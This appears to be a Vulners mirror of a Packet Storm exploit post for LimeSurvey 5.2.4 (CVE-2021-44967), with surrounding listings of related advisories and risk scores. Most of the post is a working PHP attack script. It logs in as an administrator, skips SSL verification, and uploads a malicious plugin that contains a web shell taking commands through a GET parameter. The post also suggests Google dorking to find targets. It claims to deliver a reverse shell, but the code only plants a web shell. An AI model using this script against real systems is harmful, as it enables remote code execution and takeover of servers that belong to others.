Lucene search
K

📄 LimeSurvey 5.2.4 Remote Code Execution

🗓️ 03 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 131 Views

Exploit for LimeSurvey 5.2.4 CVE-2021-44967 to load a malicious PHP plugin and run a reverse shell.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Limesurvey
5 Jan 202513:12
githubexploit
Circl
CVE-2021-44967
5 Jan 202523:48
circl
CNNVD
LimeSurvey 代码问题漏洞
24 Feb 202200:00
cnnvd
CVE
CVE-2021-44967
22 Feb 202221:17
cve
Cvelist
CVE-2021-44967
22 Feb 202221:17
cvelist
NVD
CVE-2021-44967
24 Feb 202215:15
nvd
OpenVAS
LimeSurvey <= 5.2.4 RCE Vulnerability
30 May 202200:00
openvas
OSV
BIT-LIMESURVEY-2021-44967
6 Mar 202410:56
osv
Packet Storm News
LimeSurvey 5.2.4 Shell Upload
18 Feb 202500:00
packetstormnews
Prion
Remote code execution
24 Feb 202215:15
prion
Rows per page
=============================================================================================================================================
    | # Title     : LimeSurvey 5.2.4 reverse shell Vulnerability                                                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : https://www.limesurvey.org/                                                                                                 |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: This script is used to exploit vulnerability in LimeSurvey to load a malicious PHP plugin and execute a reverse shell.
    
       (Related : https://packetstorm.news/files/id/189288/ Related CVE numbers: 	CVE-2021-44967 ) .
    	
    [+] save code as poc.php.
    
    [+] Set TArget : line 112
    
    [+] Usage : php poc.php
    
    [+] PayLoad :
    
    <?php
    
    /**
     * هذا السكريبت يُستخدم لاستغلال ثغرة CVE-2021-44967 في LimeSurvey لتحميل ملحق PHP خبيث وتنفيذ عكسية Shell.
     */
    
    // تعطيل تحذيرات SSL
    $context = stream_context_create([
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false,
        ]
    ]);
    
    // إعدادات الملحق الخبيث
    $plugin_name = "ExploitRCE_" . rand(1000, 9999);
    $date = date("Y-m-d");
    $xml_config = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
    $xml_config .= "<config>\n";
    $xml_config .= "    <metadata>\n";
    $xml_config .= "        <name>$plugin_name</name>\n";
    $xml_config .= "        <type>plugin</type>\n";
    $xml_config .= "        <creationDate>$date</creationDate>\n";
    $xml_config .= "        <lastUpdate>$date</lastUpdate>\n";
    $xml_config .= "        <version>1.0</version>\n";
    $xml_config .= "    </metadata>\n";
    $xml_config .= "    <compatibility>\n";
    $xml_config .= "        <version>3.0</version>\n";
    $xml_config .= "        <version>4.0</version>\n";
    $xml_config .= "        <version>5.0</version>\n";
    $xml_config .= "        <version>6.0</version>\n";
    $xml_config .= "        <version>7.0</version>\n";
    $xml_config .= "    </compatibility>\n";
    $xml_config .= "</config>";
    
    // دالة تسجيل الدخول إلى LimeSurvey
    function limesurvey_authenticate($url, $username, $password) {
        echo "[*] محاولة تسجيل الدخول...\n";
        $login_url = "$url/index.php/admin/authentication/sa/login";
        $login_page = file_get_contents($login_url, false, $GLOBALS['context']);
        preg_match('/name=\"YII_CSRF_TOKEN\" value=\"(.*?)\"/', $login_page, $matches);
        $csrf_token = $matches[1] ?? '';
        
        $data = http_build_query([
            "YII_CSRF_TOKEN" => $csrf_token,
            "authMethod" => "Authdb",
            "user" => $username,
            "password" => $password,
            "login_submit" => "login"
        ]);
    
        $options = [
            "http" => [
                "method" => "POST",
                "header" => "Content-type: application/x-www-form-urlencoded",
                "content" => $data,
            ]
        ];
        
        $result = file_get_contents($login_url, false, stream_context_create($options));
        
        if (strpos($result, '/index.php/admin/index') !== false) {
            echo "[+] تسجيل الدخول ناجح!\n";
        } else {
            echo "[-] فشل تسجيل الدخول\n";
            exit();
        }
    }
    
    // رفع وتنفيذ الحمولة الخبيثة
    function upload_payload($url, $plugin_name, $payload) {
        echo "[*] رفع الحمولة الخبيثة...\n";
        $upload_url = "$url/index.php/admin/pluginmanager?sa=upload";
        
        $boundary = "----WebKitFormBoundary" . md5(time());
        $data = "--$boundary\r\n";
        $data .= "Content-Disposition: form-data; name=\"the_file\"; filename=\"$plugin_name.zip\"\r\n";
        $data .= "Content-Type: application/zip\r\n\r\n";
        $data .= $payload . "\r\n";
        $data .= "--$boundary--\r\n";
        
        $options = [
            "http" => [
                "method" => "POST",
                "header" => "Content-Type: multipart/form-data; boundary=$boundary",
                "content" => $data,
            ]
        ];
        
        $result = file_get_contents($upload_url, false, stream_context_create($options));
        
        if (strpos($result, 'sa=uploadConfirm') !== false) {
            echo "[+] رفع الحمولة ناجح!\n";
        } else {
            echo "[-] فشل في رفع الحمولة\n";
            exit();
        }
    }
    
    // إعداد الحمولة الخبيثة
    $payload = "<?php system(\$_GET['cmd']); ?>";
    $zip = new ZipArchive();
    $zip_file = tempnam(sys_get_temp_dir(), "exploit") . ".zip";
    $zip->open($zip_file, ZipArchive::CREATE);
    $zip->addFromString("config.xml", $xml_config);
    $zip->addFromString("payload.php", $payload);
    $zip->close();
    $payload_data = file_get_contents($zip_file);
    unlink($zip_file);
    
    // تنفيذ الاستغلال
    $url = "http://target-limesurvey.com"; // استبدل بعنوان الهدف
    $username = "admin";
    $password = "password";
    
    limesurvey_authenticate($url, $username, $password);
    upload_payload($url, $plugin_name, $payload_data);
    
    echo "[*] تم تنفيذ الاستغلال بنجاح!\n";
    
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Feb 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.18.8
CVSS 29
EPSS0.7738
131